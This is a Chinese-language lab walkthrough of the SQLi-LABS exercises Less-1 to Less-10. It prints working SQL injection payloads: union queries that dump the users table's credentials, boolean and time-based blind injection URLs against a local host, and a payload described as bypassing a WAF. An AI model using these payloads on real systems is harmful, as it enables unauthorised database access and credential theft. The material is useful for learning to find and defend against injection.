SQLi-LABS

SQLi-LABS Page-1(Basic Challenges)

Less-1

 单引号闭合

 确定数据库查询的字段数

 确定显示位

 查询当前数据库名,查询当前数据库下所有的表

 查询user表中的字段数

 查询字段的数据

less-2

 确定数字型

数字型:
id =3
id = 4-1
结果相同,判断数字型
id = 3 order by 3 判断筛选字段数
id = -1 union select 1,2 确定显示位
id = -1 union select 1 ,database() 确定当前数据库
id = -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()查询当前数据库的表名
id = -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #查询'users'表的字段值
id = -1 union select 1,group_concat(`id`,':',`username`,':',`password`) from users 爆破字段中相应的数据

同理

less-3

通过mysql报错猜sql语句组成,太菜,目前不知道怎么猜(可以考虑,就当没有报错信息,sql拼接方式无非就几种[1.'id',2."'id'",3.('id'),("'id'")]爆破输入也可以

sql语句为:

同上

less-4

less-5

关闭了报错提示

less-6

//判断是否是 Mysql数据库
?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
?id=1' and exists(select*from sysobjects) --+

判断是mysql数据库

1:判断当前数据库的长度,利用二分法

http://127.0.0.1/sqli/Less-6/?id=1'" and length(database())>5 --+  //正常显示
http://127.0.0.1/sqli/Less-6/?id=1'" and length(database())>10 --+  //不显示任何数据
http://127.0.0.1/sqli/Less-6/?id=1'" and length(database())>7 --+  //正常显示
http://127.0.0.1/sqli/Less-6/?id=1'" and length(database())>8 --+  //不显示任何数据


 
 大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符

?id=1'" and length(database())=8 --+


2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
 

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security 

3. 判断当前库的表名

//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........


由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

. 判断表的字段

  • 判断字段个数
  • 判断每个字段的长度
  • 猜每个字段的字符
  • 5. 爆字段中的数据

    //如果已经证实了存在admin表,那么猜测是否存在username字段
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)
     
    1:判断表中字段的个数
    //判断users表中字段个数是否大于5
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
     
    2:判断每个字段的长度
    //判断第一个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
    //判断第二个字段的长度   
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
     
    3:判断每个字段名字的ascii值
    //判断第一个字段的第一个字符的ascii
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
    //判断第一个字段的第二个字符的ascii
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
    ...........
     
    由此可判断出users表中存在 id、username、password 字段
    

  • 猜字段中数据的长度
  • 猜字段数据的每个字符ascii码 得字符
  • 我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
     
    1: 判断数据的长度
    // 判断id字段的第一个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
    // 判断id字段的第二个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
     
    2:判断数据的ascii值
    // 判断id字段的第一行数据的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
    // 判断id字段的第二行数据的第二个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
    ...........

  • 一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

less-7

布尔注入

less-8

布尔注入

less-9

时间注入

id=1' AND (SELECT 1861 FROM (SELECT(SLEEP(5)))kYcd) AND 'UqZb'='UqZb

less-10

正确闭合,返回了正确的结果

布尔注入即可

less-10

时间注入

1. 延时注入

?id=1' and sleep(5) --+   

如图所示,观察请求的时间线,大概在5秒以上,说明构造的sleep(5) 语句起作用,可以把这个时间线作为sql 注入的判断依据

2. 获取数据库名字

延时注入与布尔盲注类似,构造方法如下,提交参数

?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

if(expr1,expr2,expr3)       如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。 传送门- 

代码的含义就是如果数据库名字的第一个字符的acsii值为115,则进行延时,否则返回0即什么都不返回。

页面显示延时5 秒,说明数据库名字第一个字母的ASCII 值是115,也就是字母s。

与盲注类似,后面就是猜数,这就是延时注入

可以绕waf的payload

and(select*from(select+sleep(4))a/**/union/**/select+1)='

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值